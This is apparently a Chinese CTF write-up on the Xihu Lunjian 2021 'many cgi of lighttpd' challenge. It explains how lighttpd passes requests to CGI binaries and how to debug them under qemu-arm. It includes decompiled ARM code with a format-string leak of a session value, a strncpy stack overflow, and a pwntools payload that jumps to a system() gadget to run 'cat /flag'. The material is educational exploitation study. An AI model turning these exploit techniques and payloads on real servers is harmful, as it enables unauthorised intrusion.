前言
在复习西湖论剑的题目的时候,遇到了lighttpd
作为启动的server
,主要想了解一下cgi
与lighttpd
的调用方式和cgi
的调试
lighttpd
与cgi
的调用
主要参考文章
文章在第三部分的第四点中,已经说明了,我们无法单独的直接运行cgi
,因为运行cgi
依赖环境变量
这一点就是最重要的一点,简单的说lighttpd
是一个启动cgi
的程序,我们请求方式等其他基本的参数都是被设置成环境变量
所以我们如果想要调试cgi
程序的话,我们肯定需要设置环境变量,也就是模拟lighttpd
的作用
所以我们可以笼统抽象的理解,lighttpd
的作用是把我们发送数据包的各种参数设置为环境变量,当然除了我们get
或post
的载荷数据
所以大致流程就是:
1 2 3
| lighttpd =====接收数据包====> 参数设置环境变量 ====判断需要调用的cgi===> cgi ====调用cgi=====> 回显
|
lighttpd
在调用cgi
时,是使用fork函数然后执行execve
函数来实现的,所以我们很难在运行lighttpd
中,调试cgi
程序,在研究官方WP时,他给出的方法是,直接模拟lighttpd
的作用,也就是设置环境变量,然后才运行我们要调式的程序的
ok,调试的方法和原理也大致剖析完毕,我们可以开始PWN!!!!!!
西湖论剑2021——many cgi of lighttpd
在这里我也学习到了lighttpd
调用cgi
的位置关系,基本上是在./www/cgi-bin/
目录下
在这个目录下,我们可以看到三个程序
我们根据WP上分析的,就指向了55.cgi
和63.cgi
,一个是栈溢出,一个是格式化字符串漏洞
所以我们就可以来分析一下这两个程序
55.cgi
main
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| int sub_10CF0() { char *v0; void *ptr; int n; const char *v5; char *v6; const char *s1;
if ( !sub_109F0() ) { puts("No Authentication"); exit(1); } puts("Content-Type: text/plain\n"); s1 = getenv("REQUEST_METHOD"); if ( !strcmp(s1, "GET") ) { v6 = getenv("QUERY_STRING"); sub_10B48(v6); return 0; } if ( strcmp(s1, "POST") ) { sub_10B48(0); return 0; } v5 = getenv("CONTENT_TYPE"); if ( strcmp(v5, "application/x-www-form-urlencoded") ) { printf("CONTENT_TYPE not supported now !"); return 0; } v0 = getenv("CONTENT_LENGTH"); n = atoi(v0); if ( n <= 3316 && n >= 0 ) { ptr = calloc(n + 1, 1u); fread(ptr, 1u, n, (FILE *)stdin); sub_10B48((char *)ptr); free(ptr); return 0; } printf("CONTENT_LENGTH not supported now !"); return -1; }
|
我们层层分析,下面来看sub_109F0()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| int sub_109F0() { char s[20]; // [sp+0h] [bp-54h] BYREF char s2[20]; // [sp+14h] [bp-40h] BYREF char haystack[24]; // [sp+28h] [bp-2Ch] BYREF char *v4; // [sp+40h] [bp-14h] char *v5; // [sp+44h] [bp-10h] char *v6; // [sp+48h] [bp-Ch] int v7; // [sp+4Ch] [bp-8h]
v7 = 0; v6 = getenv("HTTP_COOKIES"); memset(s, 0, 0x11u); sub_108D0(s); if ( v6 ) { memset(haystack, 0, 0x17u); snprintf(haystack, 0x16u, "%s", v6); v5 = strstr(haystack, "uuid="); if ( v5 ) { v4 = v5 + 5; memset(s2, 0, 0x11u); snprintf(s2, 0x11u, "%s", v5 + 5); if ( !strncmp(s, s2, 0x10u) ) v7 = 1; } } return v7; }
|
这里有个比对,需要我们让s
和s2
相等,我们可以看的出s2
是由我们环境变量HTTP_COOKIES
得到的,下面我们看看我们是如何得到s
的值的
sub_108D0(char *a1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| char *__fastcall sub_108D0(char *a1) { char *result; char s[24]; char *v4; char *v5; FILE *stream;
memset(s, 0, 0x17u); stream = fopen("/var/tmp/session", "r"); if ( !stream ) { printf("No Session"); exit(1); } fgets(s, 22, stream); fclose(stream); result = strstr(s, "uuid="); v5 = result; if ( result ) { v4 = v5 + 5; snprintf(s, 0x11u, "%s", v5 + 5); result = strncpy(a1, s, 0x10u); } return result; }
|
可以看到是由我们/var/tmp/session
文件得到,所以这个是我们要执行后面内容必要拿到session
的值
我们继续往下面看,我们看POST
请求时会调用的函数
sub_10B48(0);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| char *__fastcall sub_10B48(char *result) { unsigned __int8 *s1; char v2[3316]; char *v3; char *v4; size_t v5; int v6; size_t n; int v8; int v9; char *s2;
s1 = (unsigned __int8 *)result; s2 = "*#$^"; if ( result ) { if ( !strncmp(result, s2, 4u) ) { v9 = s1[4]; v8 = s1[5] + 2 * v9; n = s1[6] + 4 * v8; v6 = s1[7]; v5 = s1[8] + 2 * v6; memset(v2, 0, sizeof(v2)); memcpy(v2, s1, n); result = strstr(v2, "*#$^"); v4 = result; if ( result ) { v3 = &v4[v5 - 77]; if ( *v3 ) result = sub_10AFC(v3, v5); } } else { result = strstr(v2, "ping"); if ( result ) result = (char *)sub_109B0("20.21.2.26"); } } return result; }
|
会取参数*#$^
的值并进行一系列的传递值,然后执行sub_10AFC(v3, v5);
1 2 3 4 5 6 7 8 9 10
| char *__fastcall sub_10AFC(char *result, size_t a2) { char dest[752]; size_t n;
n = a2; if ( result ) result = strncpy(dest, result, n); return result; }
|
这里是进行了copy
的操作,但是我们可以控制v5
的值,v5
变量类型是size_t
,也就是4个字节
大小,但是这里栈大小就是0x2f8
,我们可以复制的大小为0xffffffff
,完完全全的是栈溢出
我们看看另一个程序
63.cgi
这个程序的不同点就在于验证对session
的部分中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| int sub_108C8() { char s[20]; char s2[20]; char haystack[24]; char *format; char *v5; char *v6; int v7;
v7 = 0; v6 = getenv("HTTP_COOKIES"); memset(s, 0, 0x11u); sub_107E8(s); if ( v6 ) { memset(haystack, 0, 0x17u); snprintf(haystack, 0x16u, "%s", v6); v5 = strstr(haystack, "uuid="); if ( v5 ) { format = v5 + 5; memset(s2, 0, 0x11u); snprintf(s2, 0x11u, v5 + 5); puts(s2); if ( !strncmp(s, s2, 0x10u) ) v7 = 1; } } return v7; }
|
一个格式化字符串漏洞,十分明显,我们上面把服务器的session
读到了栈空间上,我们就可以通过格式化字符串读取到session
官方wp
上没有说如何调试63.cgi
,但是我根据上面分析的,我们可以模拟lighttpd
操作设置环境变量来实现
1 2 3 4
| export REQUEST_METHOD=POST export HTTP_COOKIES='uuid=Feng_ZZ' export CONTENT_LENGTH=3000 export CONTENT_TYPE='application/x-www-form-urlencoded'
|
泄露session
然后跟我们使用qemu
的用户模拟来运行63.cgi
1
| qemu-arm -L ../../../ ./63.cgi
|
看看是否可以格式化字符串漏洞
把HTTP_COOKIES
修改为%p%p%p
,看它是否会打印出来数值
很明显的打印出来了,我们下面调试一下,确认一下session
在栈的位置以及如何泄露出来
1
| qemu-arm -g 1234 -L ../../../ ./63.cgi
|
然后我们gdb-multiarch
连接
在对应位置下断点
session
是在栈顶的位置
当参数在4个以内时使用r0-r3
寄存器分别传递1-4号参数,后面通过栈传递
但是经过调试可以发现,我们通过%2$p
就可以泄露出来第一段session
,有点点小疑惑
所以我们也知道如何泄露出来session
了,就可以利用55.cgi
的栈溢出来实现拿shell
栈溢出拿shell
通过分析55.cgi
,我们知道在sub_10B48(0);
中有栈溢出的漏洞,我们现在需要分析一下如何利用这个漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| char *__fastcall sub_10B48(char *result) { unsigned __int8 *s1; char v2[3316]; char *v3; char *v4; size_t v5; int v6; size_t n; int v8; int v9; char *s2;
s1 = (unsigned __int8 *)result; s2 = "*#$^"; if ( result ) { if ( !strncmp(result, s2, 4u) ) { v9 = s1[4]; v8 = s1[5] + 2 * v9; n = s1[6] + 4 * v8; v6 = s1[7]; v5 = s1[8] + 2 * v6; memset(v2, 0, sizeof(v2)); memcpy(v2, s1, n); result = strstr(v2, "*#$^"); v4 = result; if ( result ) { v3 = &v4[v5 - 77]; if ( *v3 ) result = sub_10AFC(v3, v5); } } else { result = strstr(v2, "ping"); if ( result ) result = (char *)sub_109B0("20.21.2.26"); } } return result; }
|
可以看到我们可以通过*#$^
参数来控制v3
和v5
对应的值,进入到sub_10AFC
中,这里调用了strncpy
但是没有对大小进行限制,所以我们可以通过这个来实现栈溢出
现在问题就是如何精准的控制参数来覆盖了,就是疯狂的调试:confounded:
当然我偷懒了 省略了一下调试过程,这里用官方wp
栈溢出的部分,这里用的刚好的是在sub_109B0
中调用system
的gadget
:
问就是累了
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
payload = b"*#$^" + b"\xff" * 3 + b"\xff" * 3 payload = payload.ljust(0x2b0, b"B") payload += b'cat /flag;' payload = payload.ljust(0x5A8, b"C") payload += p32(0x000109DC)
with open("text.txt","wb+") as file: file.write(payload)
|
这里有所改动就是把他的反弹shell
进行修改成为cat /flag
,不知道是什么原因直接执行system(“/bin/sh”)
会有问题
调试方法就是:
1
| cat payload | qemu-arm -g 1234 -L ../../../ ./55.cgi
|
通过管道符进行输入 给我打开了全新的调试思路
调试的部分同上面63.cgi
arm
架构的栈溢出跟我们正常pwn
题的利用手法实际上没有特别大的差别,只能说没有mips
的恶心
最后
下面估计会复现另一道西湖论剑关于lighttpd
的题,属于是乘热打铁了,但是
累死了!!!!!!!!!!!:sleeping: